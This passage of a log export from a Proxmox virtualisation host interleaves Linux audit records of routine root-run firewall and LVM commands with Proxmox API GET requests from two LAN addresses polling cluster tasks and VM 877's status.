euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966023737,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965235632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.632:64748): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545995,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.995:66077): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964464503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.503:61126): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecb970 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966023737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965235630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.630:64747): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ce883c84740 items=0 ppid=1156 pid=62201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965545986,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.986:66076): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964464478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.478:61125): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d14174c0 a1=64f8d73ee430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966023737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965235626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.626:64746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136530 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545978,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.978:66075): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964464461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.461:61124): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966023737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965235622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.622:64745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545968,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.968:66074): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964464455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.455:61121): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966022239,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781965235613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.613:64744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545962,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.962:66072): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.725:61118): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72545a0 a1=637ee7242790 a2=637ee7240ef0 a3=8 items=2 ppid=58673 pid=58675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966022239,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965235601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.601:64743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f48c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545956,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.956:66071): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.725:61117): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253220 a1=637ee7252fd0 a2=637ee7240ef0 a3=8 items=2 ppid=58673 pid=58674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021242,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 950"} {"@timestamp":1781965235597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.597:64742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a2e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.949:66070): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964459723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.723:61116): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253e20 a1=637ee72426f0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=58672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021242,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965235588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.588:64741): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545942,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.942:66069): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964459448,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.448:61115): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966019219,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781965235577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.577:64740): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545936,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.936:66068): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964459442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.442:61112): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966019219,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965235559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.559:64739): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545928,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.928:66067): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964455395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.395:61109): arch=c000003e syscall=59 success=yes exit=0 a0=5e73c8d24e90 a1=5e73c8d21c10 a2=5e73c8d03680 a3=5 items=2 ppid=58663 pid=58669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966019219,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965235546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.546:64738): arch=c000003e syscall=59 success=yes exit=0 a0=61d81aa6bd30 a1=61d81aa77bc0 a2=61d81aa45680 a3=5 items=2 ppid=62187 pid=62193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545916,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.916:66066): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.392:61108): arch=c000003e syscall=59 success=yes exit=0 a0=5e73b8ad2ac8 a1=7ffdbbdf7cb0 a2=5e73c8d03680 a3=5e73b8ab624e items=2 ppid=58663 pid=58665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966019219,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965235537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.537:64737): arch=c000003e syscall=59 success=yes exit=0 a0=61d7db7daac8 a1=7ffe08ba2770 a2=61d81aa45680 a3=61d7db7be24e items=2 ppid=62187 pid=62189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.906:66065): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964455391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.391:61107): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdbbdf7c70 a1=5e73c8d0a310 a2=5e73c8d03680 a3=5 items=2 ppid=58663 pid=58664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966017822,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.534:64736): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe08ba2730 a1=61d81aa673d0 a2=61d81aa45680 a3=5 items=2 ppid=62187 pid=62188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545900,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.900:66064): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964455386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.386:61105): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966017822,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965235525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.525:64734): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545897,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.897:66063): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964455380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.380:61104): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966017822,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781965235509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.509:64733): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545896,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.896:66062): argc=1 a0=\"date\""} {"@timestamp":1781964455369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.369:61103): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015806,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965235503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.503:64732): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545891,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.891:66060): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964455361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.361:61102): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965235495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.495:64731): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac85a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545879,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.879:66059): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.351:61101): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965235486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.486:64730): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc102890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545871,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.871:66058): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964455348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.348:61100): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d547fd65740 items=0 ppid=1156 pid=58658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966015806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965235479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.479:64729): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135330 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545864,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.864:66057): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964455346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.346:61099): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1387e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965235005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.005:64728): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5cb0 a1=64f8d7417580 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545849,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.849:66056): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964455340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.340:61098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1385e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965234984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965234.984:64727): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740bfc0 a1=64f8d73af440 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545837,"@rawstring":"node=pve type=EXECVE msg=audit(1781965545.837:66055): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964455335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.335:61097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966013135,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965232262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.262:64726): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544748,"@rawstring":"node=pve type=EXECVE msg=audit(1781965544.748:66054): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964455330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.330:61096): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee2a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966013135,"@rawstring":"::ffff:192.168.1.157 - root@pam 